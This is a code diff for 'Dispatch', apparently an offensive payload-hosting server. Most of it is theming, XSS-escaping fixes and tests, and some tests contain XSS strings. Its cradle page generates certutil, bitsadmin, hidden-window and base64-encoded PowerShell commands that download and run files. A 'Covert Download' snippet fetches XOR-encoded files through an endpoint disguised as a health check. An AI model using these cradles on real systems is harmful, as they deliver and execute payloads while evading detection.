Exception: + logging.debug('Failed to read response headers', exc_info=True) return {} - def update_response_headers(self, headers={}): + def update_response_headers(self, headers=None): """Update response headers - truncate and re-add""" + if headers is None: + headers = {} self.exec('''DELETE FROM response_headers;''') for name, value in headers.items(): if name and value: # Skip empty entries diff --git a/dispatch/script_scheduler.py b/dispatch/script_scheduler.py index 30af770..52d1cc6 100644 --- a/dispatch/script_scheduler.py +++ b/dispatch/script_scheduler.py @@ -1,5 +1,6 @@ """Run scheduled scripts in a background thread.""" +import logging import threading import subprocess import tempfile @@ -113,7 +114,8 @@ def _execute_script(self, script): tmp.write(script.get('script_content', '')) tmp_path = tmp.name - result = subprocess.run(['python3', tmp_path], capture_output=True, text=True, timeout=30) + # Scheduled scripts are operator-authored Python, same as the manual runner. + result = subprocess.run(['python3', tmp_path], capture_output=True, text=True, timeout=30) # noqa: S603, S607 output = (result.stdout or '') + (result.stderr or '') success = result.returncode == 0 except subprocess.TimeoutExpired: @@ -128,7 +130,7 @@ def _execute_script(self, script): import os os.remove(tmp_path) except Exception: - pass + logging.debug('Failed to remove scheduled script temp file', exc_info=True) db = DispatchDB(self.db_path) try: @@ -151,7 +153,7 @@ def _execute_script(self, script): notify_plain_no_codeblock=bool(script.get('notify_plain_no_codeblock', 0)) ) except Exception: - pass + logging.debug('Scheduled script notification failed', exc_info=True) scheduler = ScriptScheduler() diff --git a/dispatch/static/css/dispatch-theme.css b/dispatch/static/css/dispatch-theme.css new file mode 100644 index 0000000..99ed3cf --- /dev/null +++ b/dispatch/static/css/dispatch-theme.css @@ -0,0 +1,264 @@ +/* Dispatch theme. Loaded after the admin template so the shell, forms, and + login pages share one lightweight look. Dark mode follows the OS unless + the header toggle stores an explicit choice. */ + +:root { + --dispatch-bg: #eef2f6; + --dispatch-surface: #ffffff; + --dispatch-surface-2: #f7f9fb; + --dispatch-text: #1b2430; + --dispatch-muted: #5d6b7c; + --dispatch-border: #e3e8ee; + --dispatch-accent: #2f9e44; + --dispatch-accent-2: #3cb54d; + --dispatch-shadow: 0 10px 30px rgba(22, 34, 51, 0.06); + --dispatch-radius: 14px; + color-scheme: light; +} + +html[data-theme="dark"] { + --dispatch-bg: #10151c; + --dispatch-surface: #18212c; + --dispatch-surface-2: #202b38; + --dispatch-text: #e7eef6; + --dispatch-muted: #a9b6c6; + --dispatch-border: #2c3948; + --dispatch-accent: #4bd11e; + --dispatch-accent-2: #6ee04a; + --dispatch-shadow: 0 12px 32px rgba(0, 0, 0, 0.28); + color-scheme: dark; +} + +@media (prefers-color-scheme: dark) { + html:not([data-theme="light"]) { + --dispatch-bg: #10151c; + --dispatch-surface: #18212c; + --dispatch-surface-2: #202b38; + --dispatch-text: #e7eef6; + --dispatch-muted: #a9b6c6; + --dispatch-border: #2c3948; + --dispatch-accent: #4bd11e; + --dispatch-accent-2: #6ee04a; + --dispatch-shadow: 0 12px 32px rgba(0, 0, 0, 0.28); + color-scheme: dark; + } +} + +html, body { + background: var(--dispatch-bg); + color: var(--dispatch-text); +} + +body { + zoom: 1; + font-family: "Nunito", "Segoe UI", sans-serif; + letter-spacing: 0.01em; +} + +#main { + background: transparent; +} + +.header, +.sidebar, +.card, +.modal-content, +.dropdown-menu, +.footer, +.activity-viewer, +.log-viewer { + background: var(--dispatch-surface) !important; + color: var(--dispatch-text); + border-color: var(--dispatch-border); +} + +.header, +.sidebar { + border-bottom: 1px solid var(--dispatch-border); + box-shadow: none; +} + +.sidebar { + border-right: 1px solid var(--dispatch-border); + border-bottom: 0; +} + +.card, +.activity-viewer, +.log-viewer, +.modal-content { + border: 1px solid var(--dispatch-border); + border-radius: var(--dispatch-radius); + box-shadow: var(--dispatch-shadow); +} + +.card-body, +.card-title, +.pagetitle h1, +.dropdown-item, +.sidebar-nav .nav-link, +.header-nav .nav-profile { + color: var(--dispatch-text); +} + +.pagetitle { + margin-bottom: 18px; +} + +.pagetitle h1 { + font-weight: 700; + letter-spacing: -0.02em; +} + +.sidebar-nav .nav-link, +.sidebar-nav .nav-link.collapsed { + border-radius: 10px; + margin: 2px 12px; + padding: 10px 12px; +} + +html[data-theme="dark"] #sidebar, +html[data-theme="dark"] #header, +html[data-theme="dark"] #footer { + background: #18212c !important; + background-color: #18212c !important; + color: #e7eef6 !important; +} + +html[data-theme="dark"] #footer { + background: #10151c !important; + background-color: #10151c !important; +} + +html[data-theme="dark"] #sidebar .nav-link, +html[data-theme="dark"] #sidebar .nav-link.collapsed { + background: #202b38 !important; + background-color: #202b38 !important; + color: #e7eef6 !important; +} + +html[data-theme="dark"] #sidebar .nav-link i, +html[data-theme="dark"] #sidebar .nav-link.collapsed i { + background: transparent !important; + color: #a9b6c6 !important; +} + +.sidebar-nav .nav-link:hover, +.sidebar-nav .nav-link.active, +.sidebar-nav .nav-content a:hover { + background: color-mix(in srgb, var(--dispatch-accent) 14%, transparent); +} + +.form-control, +.form-select, +.access_perms { + background: var(--dispatch-surface-2); + color: var(--dispatch-text); + border: 1px solid var(--dispatch-border); + border-radius: 10px; +} + +.form-control:focus, +.form-select:focus { + border-color: var(--dispatch-accent); + box-shadow: 0 0 0 3px color-mix(in srgb, var(--dispatch-accent) 25%, transparent); +} + +.table { + --bs-table-bg: transparent; + --bs-table-color: var(--dispatch-text); + --bs-table-border-color: var(--dispatch-border); + --bs-table-striped-bg: color-mix(in srgb, var(--dispatch-accent) 6%, transparent); + --bs-table-hover-bg: color-mix(in srgb, var(--dispatch-accent) 10%, transparent); + color: var(--dispatch-text); +} + +.table thead th { + font-size: 12px; + letter-spacing: 0.04em; + text-transform: uppercase; + color: var(--dispatch-muted); + border-bottom-color: var(--dispatch-border); +} + +.btn { + border-radius: 10px; + font-weight: 650; +} + +#notification { + border-radius: 12px; + border: 0; + box-shadow: var(--dispatch-shadow); +} + +.breadcrumb, +.activity-toolbar, +.log-toolbar { + background: var(--dispatch-surface-2) !important; +} + +.stat-card, +.split-card { + background: var(--dispatch-surface-2) !important; + color: var(--dispatch-text); + border: 1px solid var(--dispatch-border); + border-left-width: 4px; +} + +.login-shell { + min-height: 100vh; + display: flex; + align-items: center; + justify-content: center; + padding: 32px 16px; + background: + radial-gradient(900px 420px at 10% -10%, color-mix(in srgb, var(--dispatch-accent) 28%, transparent), transparent 60%), + var(--dispatch-bg); +} + +.login-shell .card { + width: min(440px, 100%); + border-radius: 18px; +} + +.theme-toggle { + border: 0; + background: transparent; + color: var(--dispatch-text); + font-size: 20px; + padding: 6px 10px; +} + +@media (max-width: 1199px) { + .sidebar { + left: -300px !important; + } + + .toggle-sidebar .sidebar { + left: 0 !important; + } + + #main, + #footer { + margin-left: 0 !important; + } +} + +@media (max-width: 768px) { + #main { + padding: 16px 12px; + } + + .activity-stats, + .activity-splits, + .log-stats { + flex-direction: column; + } + + .card-body, + .activity-viewer, + .log-viewer { + padding: 16px; + } +} diff --git a/dispatch/templates/_notice.html b/dispatch/templates/_notice.html new file mode 100644 index 0000000..ebba9e9 --- /dev/null +++ b/dispatch/templates/_notice.html @@ -0,0 +1,6 @@ +{% if form_error %} +
{{ form_error }}
+{% endif %} +{% if status_msg and status_msg.message is defined %} + +{% endif %} diff --git a/dispatch/templates/files/cradles.html b/dispatch/templates/files/cradles.html index 68c5ebe..828c9e3 100755 --- a/dispatch/templates/files/cradles.html +++ b/dispatch/templates/files/cradles.html @@ -82,7 +82,8 @@

Download Cradles

1. Cradle Generator
2. Download Cradles
3. Decryption Methods
- 4. Covert Upload + 4. Covert Upload
+ 5. Covert Download
@@ -148,6 +149,29 @@
Powershell WebClient.DownloadData

                 
             
+ +
Certutil
+

Writes the file to disk. Custom headers are not supported by certutil.

+

+                
+            
+ +
BITSAdmin
+

Background download. Custom headers are not supported by bitsadmin.

+

+                
+            
+ +
PowerShell Invoke-WebRequest
+

+                
+            
+ +
Base64-encoded PowerShell
+

UTF-16LE -EncodedCommand form of the DownloadString cradle.

+

+                
+            
@@ -338,6 +362,33 @@
PowerShell Covert Upload
+
+

Covert Download

+

+ Pull a hosted alias in XOR chunks from /api/v1/health. init=1 counts as one download + (and honors a max-download cap). Later off requests reassemble the file. POST is accepted as well as GET. + Private files still require a download-capable user or API key. +

+
import base64, requests
+base = "https://HOST:PORT/api/v1/health"
+alias = "ALIAS"
+s = requests.Session()
+s.verify = False
+meta = s.get(base, params={"fetch": alias, "init": 1}, timeout=30).json()
+key = s.cookies["csrf"].encode()
+out = bytearray()
+off = 0
+while True:
+    chunk = s.get(base, params={"fetch": alias, "off": off}, timeout=30).json()
+    raw = base64.b64decode(chunk["data"])
+    out.extend(bytes(b ^ key[i % len(key)] for i, b in enumerate(raw)))
+    if chunk.get("eof"):
+        break
+    off = chunk["next"]
+open("out.bin", "wb").write(out)
+                
+            
+ {% endblock %} @@ -441,6 +492,33 @@
PowerShell Covert Upload
}); ps1_data += ` [System.Reflection.Assembly]::Load($c.DownloadData('${url}')).EntryPoint.Invoke(0,@(,[string[]]@('${args}'.split())));`; document.getElementById('ps1_data').innerText = `powershell.exe -exec bypass -c "${ps1_data}"`; + + let safeFile = (file || 'dispatch.bin').replace(/[^A-Za-z0-9._-]/g, '_'); + document.getElementById('certutil').innerText = + `certutil -urlcache -split -f "${url}" "%TEMP%\\${safeFile}" & %TEMP%\\${safeFile}`; + document.getElementById('bitsadmin').innerText = + `bitsadmin /transfer dispatchJob /download /priority high "${url}" "%TEMP%\\${safeFile}" & %TEMP%\\${safeFile}`; + + let iwr = `[Net.ServicePointManager]::ServerCertificateValidationCallback={$true}; $h=@{};`; + if (headers.length) headers.forEach(h => { + let parts = h.split(":"); + let k = parts.shift().trim(); + let v = parts.join(":").trim(); + iwr += ` $h['${k}']='${v}';`; + }); + iwr += ` Invoke-WebRequest -Uri '${url}' -Headers $h -OutFile "$env:TEMP\\${safeFile}"; & "$env:TEMP\\${safeFile}";`; + document.getElementById('iwr').innerText = `powershell.exe -nop -w hidden -c "${iwr}"`; + document.getElementById('ps1_b64').innerText = `powershell.exe -nop -w hidden -enc ${encodePowershell(ps1_string)}`; +} + +function encodePowershell(script) { + let bytes = []; + for (let i = 0; i < script.length; i++) { + let code = script.charCodeAt(i); + bytes.push(String.fromCharCode(code & 0xff)); + bytes.push(String.fromCharCode((code >> 8) & 0xff)); + } + return btoa(bytes.join('')); } diff --git a/dispatch/templates/files/create.html b/dispatch/templates/files/create.html index 5f92acb..7f2e7b2 100755 --- a/dispatch/templates/files/create.html +++ b/dispatch/templates/files/create.html @@ -41,7 +41,7 @@
Create New File
@@ -78,5 +78,5 @@
Create New File
{% endblock %} {% block html_footer %} -{{ status_msg }} +{% include "_notice.html" %} {% endblock %} diff --git a/dispatch/templates/files/download.html b/dispatch/templates/files/download.html index 794ca42..21a9392 100755 --- a/dispatch/templates/files/download.html +++ b/dispatch/templates/files/download.html @@ -46,7 +46,7 @@
Get File from URL
@@ -78,5 +78,5 @@
Get File from URL
{% endblock %} {% block html_footer %} -{{ status_msg }} +{% include "_notice.html" %} {% endblock %} diff --git a/dispatch/templates/files/edit.html b/dispatch/templates/files/edit.html index 8440a19..074b97b 100755 --- a/dispatch/templates/files/edit.html +++ b/dispatch/templates/files/edit.html @@ -45,6 +45,12 @@
{{ data['filename'] }}
+
+ + + Used {{ data['download_count'] or 0 }}{% if data['max_downloads'] %} of {{ data['max_downloads'] }}{% endif %}. Leave blank for no cap. +
+
{% for folder in folders %} - + {% endfor %}
@@ -50,6 +50,11 @@
Upload File(s)
+
+ + +
+
'; + return ''; } } }, @@ -171,13 +215,19 @@ function renderFilesAndFolders(files, folders) { "mData": null, "mRender": function (o) { if (o.isFolder) { - return '' + + var folderId = parseInt(o.id, 10); + var safeFolder = htmlEscape(o.folder_name); + return '' + '' + - '' + o.folder_name + '' + + '' + safeFolder + '' + ''; } else { - var html = ''; - html += o['filename']; + var html = ''; + html += htmlEscape(o['filename']); + var budget = downloadBudget(o); + if (budget) { + html += '
' + htmlEscape(budget) + '
'; + } html += " " + `${o['encrypt'] ? "🔒" : ""}`; html += `${o['access'] == 1 ? "🌐" : ""}`; html += '
'; @@ -191,7 +241,7 @@ function renderFilesAndFolders(files, folders) { if (o.isFolder) { return '-'; } - return '' + (o['file_size'] || '-') + ''; + return '' + htmlEscape(o['file_size'] || '-') + ''; } }, { @@ -207,11 +257,11 @@ function renderFilesAndFolders(files, folders) { // Use client_port for file delivery URLs (default to 443) var clientPort = o['client_port'] || 443; var portStr = (clientPort == 443) ? '' : ':' + clientPort; - var url = location.protocol + "//" + o['ip'] + portStr + "/" + o['alias'] + key; + var url = location.protocol + "//" + (o['ip'] || '') + portStr + "/" + (o['alias'] || '') + key; - var html = o['alias']; + var html = htmlEscape(o['alias']); html += ''; - html += ''; + html += ''; html += ''; html += ''; html += ''; @@ -223,9 +273,9 @@ function renderFilesAndFolders(files, folders) { "mData": null, "mRender": function (o) { if (o.isFolder) { - return o['created_date'] || '-'; + return htmlEscape(o['created_date'] || '-'); } - return o['upload_date']; + return htmlEscape(o['upload_date']); } }, { @@ -233,9 +283,9 @@ function renderFilesAndFolders(files, folders) { "mData": null, "mRender": function (o) { if (o.isFolder) { - return o['created_by'] || '-'; + return htmlEscape(o['created_by'] || '-'); } - return o['uploaded_by']; + return htmlEscape(o['uploaded_by']); } }, { @@ -243,8 +293,8 @@ function renderFilesAndFolders(files, folders) { "mData": null, "mRender": function (o) { var onchangeHandler = o.isFolder ? - 'updateFolderAccess(' + o['id'] + ', this)' : - 'updateAccess(' + o['id'] + ', this)'; + 'updateFolderAccess(' + parseInt(o['id'], 10) + ', this)' : + 'updateAccess(\'' + htmlEscape(o['id']) + '\', this)'; var html = ''; + return ''; } }, { "mData" : null, "mRender": function (o) { var mfaIcon = getMfaStatusIcon(o['mfa_status'] || 'disabled'); - return mfaIcon + '  ' + o['username'] + ''; + return mfaIcon + '  ' + htmlEscape(o['username']) + ''; } }, {"bSortable": true, "mData": "created" }, @@ -518,7 +645,7 @@ function ListUsers() { "mRender": function (o) { var html = '
diff --git a/dispatch/templates/master.html b/dispatch/templates/master.html index 53e5745..dc30bc6 100755 --- a/dispatch/templates/master.html +++ b/dispatch/templates/master.html @@ -16,6 +16,24 @@ + + +{% endblock %} + +{% block bread_crumb %} +
+

Client Activity Connecting

+ +
+{% endblock %} + +{% block html_content %} +
+
+
+
Matching Requests
+
{{ summary.total }}
+
+
+
Served
+
{{ summary.served }}
+
+
+
Failed Attempts
+
{{ summary.failed }}
+
+
+
Auth Failures
+
{{ summary.auth_failure }}
+
+
+
Not Found
+
{{ summary.not_found }}
+
+
+ +
+ + + + + + Clear +
+ +
+
+
Top Requesters
+ + + {% for row in summary.top_requesters %} + + + + + {% else %} + + {% endfor %} + +
{{ row.client_ip or 'unknown' }}{% if row.username %} ({{ row.username }}){% endif %}{{ row.count }}
No requests in this view.
+
+
+
Top Files
+ + + {% for row in summary.top_files %} + + + + + {% else %} + + {% endfor %} + +
{{ row.path or '/' }}{{ row.count }}
No requests in this view.
+
+
+ +
+ + + + + + + + + + + + + {% for row in requests_rows %} + + + + + + + + + {% else %} + + + + {% endfor %} + +
TimeResultPathClientIdentityUser Agent
{{ row.timestamp }}{{ row.result|replace('_', ' ') }}{{ row.path }}{{ row.client_ip }} + {% if row.username %}{{ row.username }}{% else %}anonymous{% endif %} +
{{ row.auth_method|replace('_', ' ') }}
+
{{ row.user_agent }}
No client file requests match these filters.
+
+
+{% endblock %} + +{% block html_footer %} + +{% endblock %} diff --git a/dispatch/templates/settings/admin.html b/dispatch/templates/settings/admin.html index 48d4218..2cd8754 100644 --- a/dispatch/templates/settings/admin.html +++ b/dispatch/templates/settings/admin.html @@ -123,5 +123,5 @@
Discord Webhook
{% endblock %} {% block html_footer %} - {{ status_msg }} + {% include "_notice.html" %} {% endblock %} diff --git a/dispatch/templates/settings/alerts.html b/dispatch/templates/settings/alerts.html index db65f4a..43ec57e 100644 --- a/dispatch/templates/settings/alerts.html +++ b/dispatch/templates/settings/alerts.html @@ -127,6 +127,15 @@
Configured Alerts
}); } +function escapeHtml(value) { + return String(value == null ? '' : value) + .replace(/&/g, '&') + .replace(//g, '>') + .replace(/"/g, '"') + .replace(/'/g, '''); +} + function renderAlerts(alerts) { const tbody = document.getElementById('alertsTableBody'); @@ -136,17 +145,17 @@
Configured Alerts
} tbody.innerHTML = alerts.map(alert => { - const typeLabel = alertTypeLabels[alert.alert_type] || alert.alert_type; + const typeLabel = escapeHtml(alertTypeLabels[alert.alert_type] || alert.alert_type); let targetDisplay = '-'; if (alert.alert_type === 'user_login' && alert.target_id) { const user = users.find(u => u.id === alert.target_id); - targetDisplay = user ? user.username : `User ID: ${alert.target_id}`; + targetDisplay = user ? escapeHtml(user.username) : `User ID: ${parseInt(alert.target_id, 10)}`; } else if (alert.alert_type === 'file_download' && alert.target_id) { const file = files.find(f => f.id === alert.target_id); - targetDisplay = file ? file.filename : `File ID: ${alert.target_id}`; + targetDisplay = file ? escapeHtml(file.filename) : `File ID: ${parseInt(alert.target_id, 10)}`; } else if (alert.target_value) { - targetDisplay = alert.target_value; + targetDisplay = escapeHtml(alert.target_value); } const enabledChecked = alert.enabled ? 'checked' : ''; @@ -155,15 +164,15 @@
Configured Alerts
${typeLabel} ${targetDisplay} - ${alert.description || '-'} + ${escapeHtml(alert.description || '-')}
+ onchange="toggleAlert(${parseInt(alert.id, 10)}, this.checked)">
- @@ -200,14 +209,14 @@
Configured Alerts
targetLabel.innerHTML = 'User'; targetSelect.style.display = 'block'; targetSelect.innerHTML = '' + - users.map(u => ``).join(''); + users.map(u => ``).join(''); break; case 'file_download': targetLabel.innerHTML = 'File'; targetSelect.style.display = 'block'; targetSelect.innerHTML = '' + - files.map(f => ``).join(''); + files.map(f => ``).join(''); break; case 'failed_logins': @@ -249,7 +258,7 @@
Configured Alerts
showNotification('Please select a target', false); return; } - data.target_id = parseInt(targetSelect.value); + data.target_id = alertType === 'file_download' ? targetSelect.value : parseInt(targetSelect.value, 10); } else { if (!targetInput.value) { showNotification('Please enter a value', false); diff --git a/dispatch/templates/settings/client.html b/dispatch/templates/settings/client.html index 8878af6..1e9ccac 100644 --- a/dispatch/templates/settings/client.html +++ b/dispatch/templates/settings/client.html @@ -240,7 +240,7 @@
Access Control
{% endblock %} {% block html_footer %} -{{ status_msg }} +{% include "_notice.html" %} - {{ status_msg }} + {% include "_notice.html" %} {% endblock %} diff --git a/dispatch/templates/users/mfa.html b/dispatch/templates/users/mfa.html index b7167cb..f9983a7 100644 --- a/dispatch/templates/users/mfa.html +++ b/dispatch/templates/users/mfa.html @@ -180,7 +180,7 @@
Verify Code
{% endblock %} {% block html_footer %} -{{ status_msg }} +{% include "_notice.html" %} ", + "auth_failure", + "10.1.1.1", + "", + None, + "invalid_session", + ) + db.add_file_request("safe.txt", "served", "10.0.0.8", "curl/8.0", "alice", "api_key") + finally: + db.close() + + login_as(admin_client, role=3, username="operator", user_id=5) + page = admin_client.get("/settings/activity") + html = page.get_data(as_text=True) + assert page.status_code == 200 + assert "Top Requesters" in html + assert "Top Files" in html + assert "10.0.0.8" in html + assert "alice" in html + assert "<script>alert(1)</script>" in html + assert "<img src=x onerror=alert(1)>" in html + assert "" not in html + assert "" not in html + + filtered = admin_client.get("/settings/activity?result=auth_failure").get_data(as_text=True) + assert "auth failure" in filtered + assert "safe.txt" not in filtered + assert "Auth Failures" in filtered + + +def test_activity_stream_tails_new_requests(admin_client, isolated_env): + login_as(admin_client, role=3, username="operator", user_id=5) + db = DispatchDB(isolated_env["db_path"]) + try: + db.add_file_request("already.txt", "served", "10.0.0.1", "curl/8.0", "alice", "api_key") + existing = db.list_file_requests(limit=1)[0]["id"] + db.add_file_request( + "", + "not_found", + "10.9.9.9", + "", + None, + "none", + ) + finally: + db.close() + + response = admin_client.get(f"/api/file-requests/stream?since={existing}") + body = response.get_data(as_text=True) + assert response.status_code == 200 + assert response.mimetype == "text/event-stream" + assert "event: request" in body + assert "event: summary" in body + request_block = next(block for block in body.split("\n\n") if "event: request" in block) + assert "already.txt" not in request_block + assert "" in request_block + assert "" in request_block + + snapshot = admin_client.get("/api/file-requests/stream") + snap = snapshot.get_data(as_text=True) + assert "event: snapshot" in snap + assert "already.txt" in snap + + +def test_activity_stream_requires_operator(admin_client): + login_as(admin_client, role=2, username="uploader", user_id=6) + response = admin_client.get("/api/file-requests/stream") + assert response.status_code == 302 + + +def test_activity_requires_operator(admin_client): + login_as(admin_client, role=2, username="uploader", user_id=6) + response = admin_client.get("/settings/activity") + assert response.status_code == 302 + assert response.headers["Location"].endswith("/") + + +def test_file_request_table_is_added_to_existing_databases(tmp_path): + db_path = tmp_path / "legacy.db" + db = DispatchDB(str(db_path)) + try: + db.exec('CREATE TABLE users (id INTEGER PRIMARY KEY, username TEXT);') + db.exec("INSERT INTO users (username) VALUES ('kept');") + assert db.add_file_request("legacy", "not_found", "127.0.0.1", "ua", None, "none") + names = [row[0] for row in db.exec("SELECT name FROM sqlite_master WHERE type='table';")] + assert "users" in names + assert "file_requests" in names + kept = db.exec("SELECT username FROM users;") + assert kept[0][0] == "kept" + rows = db.list_file_requests() + assert rows[0]["path"] == "legacy" + finally: + db.close() + + +def test_file_request_retention(isolated_env, monkeypatch): + monkeypatch.setattr(DispatchDB, "FILE_REQUEST_RETENTION", 2) + db = DispatchDB(isolated_env["db_path"]) + try: + for name in ("one", "two", "three"): + assert db.add_file_request(name, "served", "127.0.0.1", "ua", None, "none") + rows = db.list_file_requests(limit=10) + finally: + db.close() + assert [row["path"] for row in rows] == ["three", "two"] diff --git a/tests/test_upload_folder.py b/tests/test_upload_folder.py new file mode 100644 index 0000000..25926cc --- /dev/null +++ b/tests/test_upload_folder.py @@ -0,0 +1,43 @@ +import re + +from dispatch.db import DispatchDB + +from tests.conftest import login_as + + +def _folder_select(html): + match = re.search(r' @@ -35,19 +35,19 @@
Add Alert
-